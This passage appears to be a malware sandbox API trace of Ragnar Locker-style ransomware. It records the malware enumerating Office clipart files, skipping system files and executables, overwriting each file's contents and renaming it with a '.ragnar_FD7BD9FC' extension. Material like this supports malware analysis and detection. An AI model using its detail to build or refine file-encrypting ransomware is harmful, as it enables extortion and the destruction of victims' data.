(lpString1=".WMF", lpString2=".db") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.413] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 0x20 [0085.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.414] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25312) returned 1 [0085.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.414] GetProcessHeap () returned 0x580000 [0085.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.415] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.416] VirtualAlloc (lpAddress=0x0, dwSize=0x62e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.416] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62e0, lpOverlapped=0x0) returned 1 [0085.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.418] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62e0, lpOverlapped=0x0) returned 1 [0085.418] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.418] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.418] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.419] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.419] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.419] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.419] GetProcessHeap () returned 0x580000 [0085.419] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.419] CloseHandle (hObject=0xf4) returned 1 [0085.419] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" [0085.419] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ragnar_FD7BD9FC" [0085.419] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.420] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0085.420] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.420] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185780.WMF" | out: lpString1="J0185780.WMF") returned="J0185780.WMF" [0085.420] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned=".WMF" [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="autorun.inf") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="boot.ini") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="bootfont.bin") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="bootsect.bak") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="bootmgr") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="bootmgr.efi") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="bootmgfw.efi") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="desktop.ini") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="iconcache.db") returned 1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="ntldr") returned -1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="ntuser.dat") returned -1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="ntuser.dat.log") returned -1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="ntuser.ini") returned -1 [0085.420] lstrcmpiW (lpString1="J0185780.WMF", lpString2="thumbs.db") returned -1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.420] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 0x20 [0085.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.421] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=59734) returned 1 [0085.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe94d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.421] GetProcessHeap () returned 0x580000 [0085.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.421] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.422] VirtualAlloc (lpAddress=0x0, dwSize=0xe956, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.423] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe956, lpOverlapped=0x0) returned 1 [0085.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.426] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe956, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.426] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe956, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe956, lpOverlapped=0x0) returned 1 [0085.426] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe956, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.426] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.426] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.427] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.427] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.427] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.427] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.427] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.427] GetProcessHeap () returned 0x580000 [0085.427] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.427] CloseHandle (hObject=0xf4) returned 1 [0085.427] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" [0085.427] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ragnar_FD7BD9FC" [0085.427] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.428] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0085.428] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.428] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185786.WMF" | out: lpString1="J0185786.WMF") returned="J0185786.WMF" [0085.428] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned=".WMF" [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="autorun.inf") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="boot.ini") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="bootfont.bin") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="bootsect.bak") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="bootmgr") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="bootmgr.efi") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="bootmgfw.efi") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="desktop.ini") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="iconcache.db") returned 1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="ntldr") returned -1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="ntuser.dat") returned -1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="ntuser.dat.log") returned -1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="ntuser.ini") returned -1 [0085.428] lstrcmpiW (lpString1="J0185786.WMF", lpString2="thumbs.db") returned -1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.428] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.429] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 0x20 [0085.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.429] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39330) returned 1 [0085.429] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9999, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.429] GetProcessHeap () returned 0x580000 [0085.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.429] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.431] VirtualAlloc (lpAddress=0x0, dwSize=0x99a2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.431] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x99a2, lpOverlapped=0x0) returned 1 [0085.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.433] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x99a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.433] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x99a2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x99a2, lpOverlapped=0x0) returned 1 [0085.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x99a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.433] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x99a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.434] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.434] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.434] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.434] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.434] GetProcessHeap () returned 0x580000 [0085.434] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.434] CloseHandle (hObject=0xf4) returned 1 [0085.434] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" [0085.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ragnar_FD7BD9FC" [0085.434] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.435] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0085.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.435] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185790.WMF" | out: lpString1="J0185790.WMF") returned="J0185790.WMF" [0085.435] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned=".WMF" [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="autorun.inf") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="boot.ini") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="bootfont.bin") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="bootsect.bak") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="bootmgr") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="bootmgr.efi") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="bootmgfw.efi") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="desktop.ini") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="iconcache.db") returned 1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="ntldr") returned -1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="ntuser.dat") returned -1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="ntuser.dat.log") returned -1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="ntuser.ini") returned -1 [0085.435] lstrcmpiW (lpString1="J0185790.WMF", lpString2="thumbs.db") returned -1 [0085.435] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.436] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 0x20 [0085.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 